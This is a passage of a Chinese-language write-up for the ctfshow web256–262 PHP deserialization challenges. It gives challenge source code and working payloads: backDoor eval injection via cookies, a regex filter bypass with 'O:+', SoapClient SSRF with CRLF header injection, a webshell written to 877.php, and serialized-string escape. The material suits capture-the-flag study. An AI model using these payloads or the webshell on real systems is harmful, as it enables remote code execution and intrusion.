public function vipOneKeyGetFlag(){ | |
if($this->isVip){ | |
global $flag; | |
if($this->username!==$this->password){ | |
echo "your flag is ".$flag; | |
} | |
}else{ | |
echo "no vip, no flag"; | |
} | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = unserialize($_COOKIE['user']); | |
if($user->login($username,$password)){ | |
if($user->checkVip()){ | |
$user->vipOneKeyGetFlag(); | |
} | |
}else{ | |
echo "no vip,no flag"; | |
} | |
} |
审计代码,发现多了个username和password的判断不相等 | |
payload: | |
?username=K1nako&password=b | |
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22K1nako%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D |
ctfshow{0dc986f3-5835-4f52-899b-d5dfe4ed448e}
# web257
开始反序列化
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-12-02 17:44:47 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-12-02 20:33:07 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfShowUser{ | |
private $username='xxxxxx'; | |
private $password='xxxxxx'; | |
private $isVip=false; | |
private $class = 'info'; | |
public function __construct(){ | |
$this->class=new info(); | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function __destruct(){ | |
$this->class->getInfo(); | |
} | |
} | |
class info{ | |
private $user='xxxxxx'; | |
public function getInfo(){ | |
return $this->user; | |
} | |
} | |
class backDoor{ | |
private $code; | |
public function getInfo(){ | |
eval($this->code); | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = unserialize($_COOKIE['user']); | |
$user->login($username,$password); | |
} |
代码审计,利用后门类执行指令 | |
<?php | |
class ctfShowUser{ | |
private $username='a'; | |
private $password='b'; | |
private $isVip=false; | |
private $class = 'info'; | |
public function __construct(){ | |
$this->class=new backDoor(); | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function __destruct(){ | |
$this->class->getInfo(); | |
} | |
} | |
class info{ | |
private $user='xxxxxx'; | |
public function getInfo(){ | |
return $this->user; | |
} | |
} | |
class backDoor{ | |
private $code='eval($_POST[K1nako]);'; | |
public function getInfo(){ | |
eval($this->code); | |
} | |
} | |
$a = new ctfShowUser(); | |
$str = urlencode(serialize($a)); | |
echo $str; | |
?> | |
payload: | |
?username=a&password=b | |
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A1%3A%22a%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A1%3A%22b%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A21%3A%22eval%28%24_POST%5BK1nako%5D%29%3B%22%3B%7D%7D | |
Post:K1nako=system('cat flag.php'); |
ctfshow{4de449fd-d8f2-4674-9405-c758daa4d43f}
# web258
开始反序列化
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-12-02 17:44:47 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-12-02 21:38:56 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
highlight_file(__FILE__); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public $class = 'info'; | |
public function __construct(){ | |
$this->class=new info(); | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function __destruct(){ | |
$this->class->getInfo(); | |
} | |
} | |
class info{ | |
public $user='xxxxxx'; | |
public function getInfo(){ | |
return $this->user; | |
} | |
} | |
class backDoor{ | |
public $code; | |
public function getInfo(){ | |
eval($this->code); | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ | |
$user = unserialize($_COOKIE['user']); | |
} | |
$user->login($username,$password); | |
} |
对O:进行了过滤 | |
<?php | |
class ctfShowUser{ | |
public $username='a'; | |
public $password='b'; | |
public $isVip=true; | |
public $class = 'backDoor'; | |
public function __construct(){ | |
$this->class=new backDoor(); | |
} | |
public function __destruct(){ | |
$this->class->getInfo(); | |
} | |
} | |
class backDoor{ | |
public $code = "system('cat flag.php');"; | |
public function getInfo(){ | |
eval($this->code); | |
} | |
} | |
$a = new ctfShowUser(); | |
$str = serialize($a); | |
$str1 = str_replace('O:','O:+',$str); // 绕过 preg_match | |
echo urlencode($str1); | |
// echo $str; | |
?> | |
payload: | |
?username=a&password=b | |
Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D |
ctfshow{fcb320c5-47bc-4aed-8d8f-c38b8cc849f5}
# web259
<?php | |
highlight_file(__FILE__); | |
$vip = unserialize($_GET['vip']); | |
//vip can get flag one key | |
$vip->getFlag(); |
flag.php | |
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); | |
array_pop($xff); | |
$ip = array_pop($xff); | |
if($ip!=='127.0.0.1'){ | |
die('error'); | |
}else{ | |
$token = $_POST['token']; | |
if($token=='ctfshow'){ | |
file_put_contents('flag.txt',$flag); | |
} | |
} |
题目考察php原生类的反序列化 | |
要想得到flag,必须本地访问flag.php而且带上token,一看到是根据x-forwarded-for来判断的,因此这题需要利用原生类的反序列化来实现SSRF,考察的是php的SoapClient原生类的反序列化。 | |
需要用到php扩展soap和natcat | |
首先构造监听9999端口查看头 | |
<?php | |
$client = new SoapClient(null.array('uri'=>'http://127.0.0.1:9999/',location=>'http://127.0.0.1:9999/flag.php')) | |
$client =>getflag(); | |
?> | |
nc -lvp 9999 |
监听成功后,按照监听后的格式修改内容添加表单格式 | |
<?php | |
//token=ctfshow | |
$ua = "K1nako\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; | |
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua)); | |
$client->getflag(); | |
?> | |
//监听内容 | |
POST /flag.php HTTP/1.1 | |
Host: 127.0.0.1:9999 | |
Connection: Keep-Alive | |
User-Agent: K1nako | |
Content-Type:application/x-www-form-urlencoded | |
Content-Length:13 //长度为13:token=ctfshow,限制长度过滤剩下没用的内容 | |
token=ctfshow | |
Content-Type: text/xml; charset=utf-8 | |
SOAPAction: "http://127.0.0.1:9999/#getflag" | |
Content-Length: 389 | |
<?xml version="1.0" encoding="UTF-8"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:9999/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getflag/></SOAP-ENV:Body></SOAP-ENV:Envelope> |
最终构造payload如下 | |
<?php | |
//token=ctfshow | |
$ua = "K1nako\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow"; | |
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua)); | |
//$client->getflag(); | |
echo urlencode(serialize($client)); | |
?> |
ctfshow{4ee6966f-f129-4019-bf80-76aaebe2ed23}
# web260
<?php | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ | |
echo $flag; | |
} |
payload: | |
?ctfshow=ctfshow_i_love_36D |
ctfshow{5bb8fa71-ba31-4453-b382-ea93289a2672}
# web261
<?php | |
highlight_file(__FILE__); | |
class ctfshowvip{ | |
public $username; | |
public $password; | |
public $code; | |
public function __construct($u,$p){ | |
$this->username=$u; | |
$this->password=$p; | |
} | |
public function __wakeup(){ | |
if($this->username!='' || $this->password!=''){ | |
die('error'); | |
} | |
} | |
public function __invoke(){ | |
eval($this->code); | |
} | |
public function __sleep(){ | |
$this->username=''; | |
$this->password=''; | |
} | |
public function __unserialize($data){ | |
$this->username=$data['username']; | |
$this->password=$data['password']; | |
$this->code = $this->username.$this->password; | |
} | |
public function __destruct(){ | |
if($this->code==0x36d){ | |
file_put_contents($this->username, $this->password); | |
} | |
} | |
} | |
unserialize($_GET['vip']); |
if($this->code==0x36d)的0x36d没有引号说明是整型,36d转十进制是877,所以只需要a=877.php,b写一句话木马连接即可 | |
构造payload: | |
<?php | |
class ctfshowvip{ | |
public $username; | |
public $password; | |
public $code; | |
public function __construct($u='877.php',$p='<?php eval($_POST[K1nako]);?>'){ | |
$this->username=$u; | |
$this->password=$p; | |
} | |
} | |
$a = new ctfshowvip(); | |
$str = urlencode(serialize($a)); | |
echo $str; | |
?> |
传入vip的序列化值后访问877.php然后连接即可
ctfshow{42c743fe-fdb8-4c93-8e10-df905d5c28aa}
# web262
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-12-03 02:37:19 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-12-03 16:05:38 | |
# @message.php | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='user'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
$f = $_GET['f']; | |
$m = $_GET['m']; | |
$t = $_GET['t']; | |
if(isset($f) && isset($m) && isset($t)){ | |
$msg = new message($f,$m,$t); | |
$umsg = str_replace('fuck', 'loveU', serialize($msg)); | |
setcookie('msg',base64_encode($umsg)); | |
echo 'Your message has been sent'; | |
} | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class message{ | |
public $from; | |
public $msg; | |
public $to; | |
public $token='user'; | |
public function __construct($f,$m,$t){ | |
$this->from = $f; | |
$this->msg = $m; | |
$this->to = $t; | |
} | |
} | |
if(isset($_COOKIE['msg'])){ | |
$msg = unserialize(base64_decode($_COOKIE['msg'])); | |
if($msg->token=='admin'){ | |
echo $flag; | |
} | |
} |
反序列化字符串逃逸 | |
我们需要将token=admin,s:5:"token";s:5:"admin" | |
目前只有from、msg、to是可控的 | |
假如我们向to属性传递t=3";s:5:"token";s:5:"admin";}我们就可以将字符串进行闭合就能控制token的值,然后发现to的长度变成了27 | |
$umsg = str_replace('fuck', 'loveU', serialize($msg)); | |
利用替换函数fuck替换成loveU这样就会增加一个字符串 | |
<?php | |
class message{ | |
public $from = '1'; | |
public $msg = '1'; | |
public $to = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck'; | |
public $token='user'; | |
} | |
$a = new message(); | |
$str = serialize($a); | |
$str1 = str_replace('fuck', 'loveU', $str); | |
echo $str1; | |
?> |
最终构造payload: | |
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} |
ctfshow{d87728c3-9d2a-469c-829a-690743aae333}